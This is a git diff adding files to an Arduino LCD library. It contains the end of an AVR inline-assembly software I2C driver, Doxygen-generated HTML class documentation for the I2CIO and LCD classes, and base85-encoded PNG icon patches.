371  " nop \n\t"
+
372  " nop \n\t"
+
373  " nop \n\t"
+
374  " brcc _Li2c_write_low ;;+1/+2=5/6C\n\t"
+
375  " nop ;; +1 = 7C \n\t"
+
376  " cbi %[SDADDR],%[SDAPIN] ;release SDA ;; +2 = 9C \n\t"
+
377  " rjmp _Li2c_write_high ;; +2 = 11C \n\t"
+
378  "_Li2c_write_low: \n\t"
+
379  " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; +2 = 9C \n\t"
+
380  " rjmp _Li2c_write_high ;;+2 = 11C \n\t"
+
381  "_Li2c_write_high: \n\t"
+
382 #if I2C_DELAY_COUNTER >= 1
+
383  " rcall ass_i2c_delay_half ;delay T/2 ;;+X = 11C+X\n\t"
+
384 #endif
+
385  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;;+2 = 13C+X\n\t"
+
386  " cln ;clear N-bit ;;+1 = 14C+X\n\t"
+
387  " nop \n\t"
+
388  " nop \n\t"
+
389  " nop \n\t"
+
390  " sbis %[SCLIN],%[SCLPIN] ;check for SCL high ;;+2 = 16C+X\n\t"
+
391  " rcall ass_i2c_wait_scl_high \n\t"
+
392  " brpl _Ldelay_scl_high ;;+2 = 18C+X\n\t"
+
393  "_Li2c_write_return_false: \n\t"
+
394  " clr r24 ; return false because of timeout \n\t"
+
395  " rjmp _Li2c_write_return \n\t"
+
396  "_Ldelay_scl_high: \n\t"
+
397 #if I2C_DELAY_COUNTER >= 1
+
398  " rcall ass_i2c_delay_half ;delay T/2 ;;+X= 18C+2X\n\t"
+
399 #endif
+
400  " rjmp _Li2c_write_bit \n\t"
+
401  " ;; +2 = 20C +2X for one bit-loop \n\t"
+
402  "_Li2c_get_ack: \n\t"
+
403  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 5C \n\t"
+
404  " nop \n\t"
+
405  " nop \n\t"
+
406  " cbi %[SDADDR],%[SDAPIN] ;release SDA ;;+2 = 7C \n\t"
+
407 #if I2C_DELAY_COUNTER >= 1
+
408  " rcall ass_i2c_delay_half ;delay T/2 ;; +X = 7C+X \n\t"
+
409 #endif
+
410  " clr r25 ;; 17C+2X \n\t"
+
411  " clr r24 ;return 0 ;; 14C + X \n\t"
+
412  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; +2 = 9C+X\n\t"
+
413  "_Li2c_ack_wait: \n\t"
+
414  " cln ; clear N-bit ;; 10C + X\n\t"
+
415  " nop \n\t"
+
416  " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X \n\t"
+
417  " rcall ass_i2c_wait_scl_high \n\t"
+
418  " brmi _Li2c_write_return_false ;; 13C + X \n\t "
+
419  " sbis %[SDAIN],%[SDAPIN] ;if SDA hi -> return 0 ;; 15C + X \n\t"
+
420  " ldi r24,1 ;return true ;; 16C + X \n\t"
+
421 #if I2C_DELAY_COUNTER >= 1
+
422  " rcall ass_i2c_delay_half ;delay T/2 ;; 16C + 2X \n\t"
+
423 #endif
+
424  "_Li2c_write_return: \n\t"
+
425  " nop \n\t "
+
426  " nop \n\t "
+
427  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t"
+
428  " ret \n\t"
+
429  " ;; + 4 = 17C + 2X for acknowldge bit"
+
430  ::
+
431  [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN),
+
432  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN));
+
433  return true; // fooling the compiler
+
434 }
+
435 
+
436 uint8_t i2c_read(bool last)
+
437 {
+
438  __asm__ __volatile__
+
439  (
+
440  " ldi r23,0x01 \n\t"
+
441  "_Li2c_read_bit: \n\t"
+
442  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t"
+
443  " cbi %[SDADDR],%[SDAPIN] ;release SDA(prev. ACK);; 4C \n\t"
+
444  " nop \n\t"
+
445  " nop \n\t"
+
446  " nop \n\t"
+
447 #if I2C_DELAY_COUNTER >= 1
+
448  " rcall ass_i2c_delay_half ;delay T/2 ;; 4C+X \n\t"
+
449 #endif
+
450  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 6C + X \n\t"
+
451 #if I2C_DELAY_COUNTER >= 1
+
452  " rcall ass_i2c_delay_half ;delay T/2 ;; 6C + 2X \n\t"
+
453 #endif
+
454  " cln ; clear N-bit ;; 7C + 2X \n\t"
+
455  " nop \n\t "
+
456  " nop \n\t "
+
457  " nop \n\t "
+
458  " sbis %[SCLIN], %[SCLPIN] ;check for SCL high ;; 9C +2X \n\t"
+
459  " rcall ass_i2c_wait_scl_high \n\t"
+
460  " brmi _Li2c_read_return ;return if timeout ;; 10C + 2X\n\t"
+
461  " clc ;clear carry flag ;; 11C + 2X\n\t"
+
462  " sbic %[SDAIN],%[SDAPIN] ;if SDA is high ;; 11C + 2X\n\t"
+
463  " sec ;set carry flag ;; 12C + 2X\n\t"
+
464  " rol r23 ;store bit ;; 13C + 2X\n\t"
+
465  " brcc _Li2c_read_bit ;while receiv reg not full \n\t"
+
466  " ;; 15C + 2X for one bit loop \n\t"
+
467 
+
468  "_Li2c_put_ack: \n\t"
+
469  " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t"
+
470  " cpi r24,0 ;; 3C \n\t"
+
471  " breq _Li2c_put_ack_low ;if (ack=0) ;; 5C \n\t"
+
472  " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t"
+
473  " rjmp _Li2c_put_ack_high \n\t"
+
474  "_Li2c_put_ack_low: ;else \n\t"
+
475  " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; 7C \n\t"
+
476  "_Li2c_put_ack_high: \n\t"
+
477  " nop \n\t "
+
478  " nop \n\t "
+
479  " nop \n\t "
+
480 #if I2C_DELAY_COUNTER >= 1
+
481  " rcall ass_i2c_delay_half ;delay T/2 ;; 7C + X \n\t"
+
482 #endif
+
483  " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 9C +X \n\t"
+
484  " cln ;clear N ;; +1 = 10C\n\t"
+
485  " nop \n\t "
+
486  " nop \n\t "
+
487  " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X\n\t"
+
488  " rcall ass_i2c_wait_scl_high \n\t"
+
489 #if I2C_DELAY_COUNTER >= 1
+
490  " rcall ass_i2c_delay_half ;delay T/2 ;; 11C + 2X\n\t"
+
491 #endif
+
492  "_Li2c_read_return: \n\t"
+
493  " nop \n\t "
+
494  " nop \n\t "
+
495  "sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t"
+
496  " mov r24,r23 ;; 12C + 2X \n\t"
+
497  " clr r25 ;; 13 C + 2X\n\t"
+
498  " ret ;; 17C + X"
+
499  ::
+
500  [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN),
+
501  [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN)
+
502  );
+
503  return ' '; // fool the compiler!
+
504 }
+
505 
+
506 #endif
+
507 
+
508 
+
509 
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/annotated.html b/libraries/NewliquidCrystal/utility/docs/html/annotated.html new file mode 100644 index 0000000..1141c58 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/annotated.html @@ -0,0 +1,115 @@ + + + + + + +New LiquidCrystal library: Class List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
Class List
+
+
+
Here are the classes, structs, unions and interfaces with brief descriptions:
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/annotated_dup.js b/libraries/NewliquidCrystal/utility/docs/html/annotated_dup.js new file mode 100644 index 0000000..b5723f3 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/annotated_dup.js @@ -0,0 +1,15 @@ +var annotated_dup = +[ + [ "I2CIO", "class_i2_c_i_o.html", "class_i2_c_i_o" ], + [ "LCD", "class_l_c_d.html", "class_l_c_d" ], + [ "LiquidCrystal", "class_liquid_crystal.html", "class_liquid_crystal" ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html", "class_liquid_crystal___i2_c" ], + [ "LiquidCrystal_I2C_ByVac", "class_liquid_crystal___i2_c___by_vac.html", "class_liquid_crystal___i2_c___by_vac" ], + [ "LiquidCrystal_SI2C", "class_liquid_crystal___s_i2_c.html", "class_liquid_crystal___s_i2_c" ], + [ "LiquidCrystal_SR", "class_liquid_crystal___s_r.html", "class_liquid_crystal___s_r" ], + [ "LiquidCrystal_SR1W", "class_liquid_crystal___s_r1_w.html", "class_liquid_crystal___s_r1_w" ], + [ "LiquidCrystal_SR2W", "class_liquid_crystal___s_r2_w.html", "class_liquid_crystal___s_r2_w" ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html", "class_liquid_crystal___s_r3_w" ], + [ "SI2CIO", "class_s_i2_c_i_o.html", "class_s_i2_c_i_o" ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html", "class_soft_i2_c_master" ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/arrowdown.png b/libraries/NewliquidCrystal/utility/docs/html/arrowdown.png new file mode 100644 index 0000000000000000000000000000000000000000..0b63f6d38c4b9ec907b820192ebe9724ed6eca22 GIT binary patch literal 246 zcmVkw!R34#Lv2LOS^S2tZA31X++9RY}n zChwn@Z)Wz*WWHH{)HDtJnq&A2hk$b-y(>?@z0iHr41EKCGp#T5?07*qoM6N<$f(V3Pvj6}9 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/arrowright.png b/libraries/NewliquidCrystal/utility/docs/html/arrowright.png new file mode 100644 index 0000000000000000000000000000000000000000..c6ee22f937a07d1dbfc27c669d11f8ed13e2f152 GIT binary patch literal 229 zcmV^P)R?RzRoKvklcaQ%HF6%rK2&ZgO(-ihJ_C zzrKgp4jgO( fd_(yg|3PpEQb#9`a?Pz_00000NkvXXu0mjftR`5K literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/bc_s.png b/libraries/NewliquidCrystal/utility/docs/html/bc_s.png new file mode 100644 index 0000000000000000000000000000000000000000..224b29aa9847d5a4b3902efd602b7ddf7d33e6c2 GIT binary patch literal 676 zcmV;V0$crwP)y__>=_9%My z{n931IS})GlGUF8K#6VIbs%684A^L3@%PlP2>_sk`UWPq@f;rU*V%rPy_ekbhXT&s z(GN{DxFv}*vZp`F>S!r||M`I*nOwwKX+BC~3P5N3-)Y{65c;ywYiAh-1*hZcToLHK ztpl1xomJ+Yb}K(cfbJr2=GNOnT!UFA7Vy~fBz8?J>XHsbZoDad^8PxfSa0GDgENZS zuLCEqzb*xWX2CG*b&5IiO#NzrW*;`VC9455M`o1NBh+(k8~`XCEEoC1Ybwf;vr4K3 zg|EB<07?SOqHp9DhLpS&bzgo70I+ghB_#)K7H%AMU3v}xuyQq9&Bm~++VYhF09a+U zl7>n7Jjm$K#b*FONz~fj;I->Bf;ule1prFN9FovcDGBkpg>)O*-}eLnC{6oZHZ$o% zXKW$;0_{8hxHQ>l;_*HATI(`7t#^{$(zLe}h*mqwOc*nRY9=?Sx4OOeVIfI|0V(V2 zBrW#G7Ss9wvzr@>H*`r>zE z+e8bOBgqIgldUJlG(YUDviMB`9+DH8n-s9SXRLyJHO1!=wY^79WYZMTa(wiZ!zP66 zA~!21vmF3H2{ngD;+`6j#~6j;$*f*G_2ZD1E;9(yaw7d-QnSCpK(cR1zU3qU0000< KMNUMnLSTYoA~SLT literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/bdwn.png b/libraries/NewliquidCrystal/utility/docs/html/bdwn.png new file mode 100644 index 0000000000000000000000000000000000000000..940a0b950443a0bb1b216ac03c45b8a16c955452 GIT binary patch literal 147 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)H!3HEvS)PKZC{Gv1kP61Pb5HX&C2wk~_T + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
I2CIO Member List
+
+
+ +

This is the complete list of members for I2CIO, including all inherited members.

+ + + + + + + + + +
begin(uint8_t i2cAddr)I2CIO
digitalRead(uint8_t pin)I2CIO
digitalWrite(uint8_t pin, uint8_t level)I2CIO
I2CIO()I2CIO
pinMode(uint8_t pin, uint8_t dir)I2CIO
portMode(uint8_t dir)I2CIO
read(void)I2CIO
write(uint8_t value)I2CIO
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.html b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.html new file mode 100644 index 0000000..a9771f2 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.html @@ -0,0 +1,330 @@ + + + + + + +New LiquidCrystal library: I2CIO Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
I2CIO Class Reference
+
+
+ + + + + + + + + + + + + + + + + + +

+Public Member Functions

 I2CIO ()
 
int begin (uint8_t i2cAddr)
 
void pinMode (uint8_t pin, uint8_t dir)
 
void portMode (uint8_t dir)
 
uint8_t read (void)
 
uint8_t digitalRead (uint8_t pin)
 
int write (uint8_t value)
 
int digitalWrite (uint8_t pin, uint8_t level)
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
I2CIO::I2CIO ()
+
+

Constructor method Class constructor constructor.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
int I2CIO::begin (uint8_t i2cAddr)
+
+

Initializes the device. This method initializes the device allocating an I2C address. This method is the first method that should be call prior to calling any other method form this class. On initialization all pins are configured as INPUT on the device.

+
Parameters
+ + +
i2cAddrI2C Address where the device is located.
+
+
+
Returns
1 if the device was initialized correctly, 0 otherwise
+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::digitalRead (uint8_t pin)
+
+

Read a pin from the device. Reads a particular pin from the device. To read a particular pin it has to be configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
pin[in]Pin from the port to read its status. Range (0..7)
+
+
+
Returns
Returns the pin status (HIGH, LOW) if the pin is configured as an output, reading its value will always return LOW regardless of its real state.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
int I2CIO::digitalWrite (uint8_t pin,
uint8_t level 
)
+
+

Writes a digital level to a particular pin. Write a level to the indicated pin of the device. For this method to have effect, the pin has to be configured as OUTPUT using the pinMode or portMode methods.

+
Parameters
+ + +
pin[in]device pin to change level. Range (0..7). level[in] logic level to set the pin at (HIGH, LOW).
+
+
+
Returns
1 on success, 0 otherwise.
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void I2CIO::pinMode (uint8_t pin,
uint8_t dir 
)
+
+

Sets the mode of a particular pin. Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite has no effect on pins which are not declared as output.

+
Parameters
+ + + +
pin[in]Pin from the I2C IO expander to be configured. Range 0..7
dir[in]Pin direction (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
void I2CIO::portMode (uint8_t dir)
+
+

Sets all the pins of the device in a particular direction. This method sets all the pins of the device in a particular direction. This method is useful to set all the pins of the device to be either inputs or outputs.

Parameters
+ + +
dir[in]Direction of all the pins of the device (INPUT, OUTPUT).
+
+
+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::read (void )
+
+

Reads all the pins of the device that are configured as INPUT. Reads from the device the status of the pins that are configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
int I2CIO::write (uint8_t value)
+
+

Write a value to the device. Writes to a set of pins in the device. The value is the binary representation of all the pins in device. The value written is masked with the configuration of the direction of the pins; to change the state of a particular pin with this method, such pin has to be configured as OUTPUT using the portMode or pinMode methods. If no pins have been configured as OUTPUTs this method will have no effect.

+
Parameters
+ + +
value[in]value to be written to the device.
+
+
+
Returns
1 on success, 0 otherwise
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/I2CIO.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.js b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.js new file mode 100644 index 0000000..d39ab9c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_i2_c_i_o.js @@ -0,0 +1,11 @@ +var class_i2_c_i_o = +[ + [ "I2CIO", "class_i2_c_i_o.html#a32eb7832075ad6011d67874405a0d0a6", null ], + [ "begin", "class_i2_c_i_o.html#a6f814653d903dc2ff6e8420eeb7954ae", null ], + [ "digitalRead", "class_i2_c_i_o.html#ac26221011a8b49bcea9ef62712ea88a7", null ], + [ "digitalWrite", "class_i2_c_i_o.html#a473206162522b847546777d16a7c6dcd", null ], + [ "pinMode", "class_i2_c_i_o.html#a53b94274eb6bb68564cf5243323db887", null ], + [ "portMode", "class_i2_c_i_o.html#a0341888753bc54c4384f5593a870fb34", null ], + [ "read", "class_i2_c_i_o.html#a7a3db7bfc15ede0ae9e8c8bd44290ef7", null ], + [ "write", "class_i2_c_i_o.html#ae2063569c927d0008e2593d14504fdcd", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d-members.html new file mode 100644 index 0000000..1acd1a8 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d-members.html @@ -0,0 +1,136 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LCD Member List
+
+
+ +

This is the complete list of members for LCD, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
setBacklight(uint8_t value)LCDinlinevirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.html b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.html new file mode 100644 index 0000000..c8246aa --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_l_c_d.html @@ -0,0 +1,887 @@ + + + + + + +New LiquidCrystal library: LCD Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+ +
+
+Inheritance diagram for LCD:
+
+
+ + +LiquidCrystal +LiquidCrystal_I2C +LiquidCrystal_I2C_ByVac +LiquidCrystal_SI2C +LiquidCrystal_SR +LiquidCrystal_SR1W +LiquidCrystal_SR2W +LiquidCrystal_SR3W + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void setBacklight (uint8_t value)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + +

+Protected Attributes

+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
LCD::LCD ()
+
+

LiquidCrystal abstract constructor. LiquidCrystal class abstract constructor needed to create the base abstract class.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
void LCD::autoscroll (void )
+
+

Turns on automatic scrolling of the LCD. Turns on automatic scrolling of the LCD. This causes each character output to the display to push previous characters over by one space. If the current text direction is left-to-right (the default), the display scrolls to the left; if the current direction is right-to-left, the display scrolls to the right. This has the effect of outputting each new character to the same location on the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::backlight (void )
+
+

Switch-on the LCD backlight. Switch-on the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LCD::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+
+virtual
+
+

LCD initialization. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class.

+

This method is abstract, a base implementation is available common to all LCD drivers. Should it not be compatible with some other LCD driver, a derived implementation should be done on the driver specif class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]character size, default==LCD_5x8DOTS
+
+
+ +

Reimplemented in LiquidCrystal_SI2C, LiquidCrystal_I2C, and LiquidCrystal_I2C_ByVac.

+ +
+
+ +
+
+ + + + + + + +
void LCD::blink ()
+
+

Display the cursor of the LCD. Display the blinking LCD cursor. If used in combination with the cursor() function, the result will depend on the particular display.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::clear ()
+
+

Clears the LCD. Clears the LCD screen and positions the cursor in the upper-left corner.

+

This operation is time consuming for the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::createChar (uint8_t location,
uint8_t charmap[] 
)
+
+

Creates a custom character for use on the LCD. Create a custom character (glyph) for use on the LCD. Most chipsets only support up to eight characters of 5x8 pixels. Therefore, this methods has been limited to locations (numbered 0 to 7).

+

The appearance of each custom character is specified by an array of eight bytes, one for each row. The five least significant bits of each byte determine the pixels in that row. To display a custom character on screen, write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7.

+
Parameters
+ + + +
location[in]LCD memory location of the character to create (0 to 7)
charmap[in]the bitmap array representing each row of the character.
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::cursor ()
+
+

Display the LCD cursor. Display the LCD cursor: an underscore (line) at the location where the next character will be written.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::display ()
+
+

Turns on the LCD display. Turns on the LCD display, after it's been turned off with noDisplay(). This will restore the text (and cursor location) that was on the display prior to calling noDisplay().

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::home ()
+
+

Sets the cursor to the upper-left corner. Positions the cursor in the upper-left of the LCD. That is, use that location in outputting subsequent text to the display. To also clear the display, use the clear() function instead.

+

This operation is time consuming for the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::leftToRight (void )
+
+

Set the direction for text written to the LCD to left-to-right. Set the direction for text written to the LCD to left-to-right. All subsequent characters written to the display will go from left to right, but does not affect previously-output text.

+

This is the default configuration.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorLeft (void )
+
+

Moves the cursor one space to the left.

Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::moveCursorRight (void )
+
+

Moves the cursor one space to the right.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::noAutoscroll (void )
+
+

Turns off automatic scrolling of the LCD. Turns off automatic scrolling of the LCD, this is the default configuration of the LCD.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::noBacklight (void )
+
+

Switch-off the LCD backlight. Switch-off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+ +
+
+ +
+
+ + + + + + + +
void LCD::noBlink ()
+
+

Turns off the blinking of the LCD cursor.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::noCursor ()
+
+

Hides the LCD cursor.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + +
void LCD::noDisplay ()
+
+

Turns off the LCD display. Turns off the LCD display, without losing the text currently being displayed on it.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::off (void )
+
+

Switch off the LCD module. Switch off the LCD module, it will switch off the LCD controller and the backlight. This method has the same effect of calling noDisplay and noBacklight.

See also
display,
+
+backlight
+ +
+
+ +
+
+ + + + + + + + +
void LCD::on (void )
+
+

Switch on the LCD module. Switch on the LCD module, it will switch on the LCD controller and the backlight. This method has the same effect of calling display and backlight.

See also
display,
+
+backlight
+ +
+
+ +
+
+ + + + + + + + +
void LCD::rightToLeft (void )
+
+

Set the direction for text written to the LCD to right-to-left. Set the direction for text written to the LCD to right-to-left. All subsequent characters written to the display will go from right to left, but does not affect previously-output text.

+

left-to-right is the default configuration.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayLeft (void )
+
+

Scrolls the contents of the display (text and cursor) one space to the left.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + + + + +
void LCD::scrollDisplayRight (void )
+
+

Scrolls the contents of the display (text and cursor) one space to the right.

+
Parameters
+ + +
none
+
+
+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
virtual void LCD::setBacklight (uint8_t value)
+
+inlinevirtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. The behaviour of this method is very dependent on the device. Some controllers support dimming some don't. Please read the actual header file for each individual device. The setBacklightPin method has to be called before setting the backlight or the adequate backlight control constructor.

See also
setBacklightPin.
+

NOTE: The prefered methods to control the backlight are "backlight" and "noBacklight".

+
Parameters
+ + +
0..255- the value is very dependent on the LCD. However, BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the backlight on.
+
+
+ +

Reimplemented in LiquidCrystal_SR1W, LiquidCrystal_SR2W, LiquidCrystal_SR3W, LiquidCrystal_SI2C, LiquidCrystal_I2C, LiquidCrystal_SR, LiquidCrystal, and LiquidCrystal_I2C_ByVac.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
virtual void LCD::setBacklightPin (uint8_t value,
t_backlighPol pol 
)
+
+inlinevirtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This method is device dependent and can be programmed on each subclass. An empty function call is provided that does nothing.

+
Parameters
+ + + +
valuepin associated to backlight control.
polbacklight polarity control (POSITIVE, NEGATIVE)
+
+
+ +

Reimplemented in LiquidCrystal_SR3W, LiquidCrystal_SI2C, LiquidCrystal_I2C, LiquidCrystal_SR, and LiquidCrystal.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LCD::setCursor (uint8_t col,
uint8_t row 
)
+
+

Position the LCD cursor. Sets the position of the LCD cursor. Set the location at which subsequent text written to the LCD will be displayed.

+
Parameters
+ + + +
col[in]LCD column
row[in]LCD row - line.
+
+
+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LCD::write (uint8_t value)
+
+virtual
+
+

Writes to the LCD. This method writes character to the LCD in the current cursor position.

+

This is the virtual write method, implemented in the Print class, therefore all Print class methods will end up calling this method.

+
Parameters
+ + +
value[in]Value to write to the LCD.
+
+
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LCD.cpp
  • +
+
